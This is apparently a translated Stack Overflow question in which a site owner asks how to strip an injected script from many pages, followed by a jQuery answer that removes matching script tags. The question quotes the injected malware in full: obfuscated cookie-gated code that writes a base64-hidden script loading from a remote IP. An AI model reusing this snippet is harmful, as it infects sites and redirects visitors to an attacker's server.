使用jQuery从数百个页面中删除脚本

时间:2019-03-11 12:26:50

标签: jquery

我在网站的许多页面上都使用了相同的注入脚本。我需要将其从所有这些页面中删除。这个:

<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

我知道我可以使用jquery来做到这一点,并且我的代码类似于此代码:

<script>
$( document ).ready(function() {
    $('iframe').remove();
});
</script>

但是我想我需要插入其他内容而不是“ iframe”或以某种方式对其进行修改,因为它对我不起作用。

1 个答案:

答案 0 :(得分:0)

这应该有助于您删除脚本:

<script type="text/javascript">
    $(document).ready(function () {
        $("script").each(function () {
            if (this.innerHTML.length > 0) {
                if(checkCondition){ // use a regex to verify if right script
                   $(this).remove();
                 }

            }
        });
    });

</script>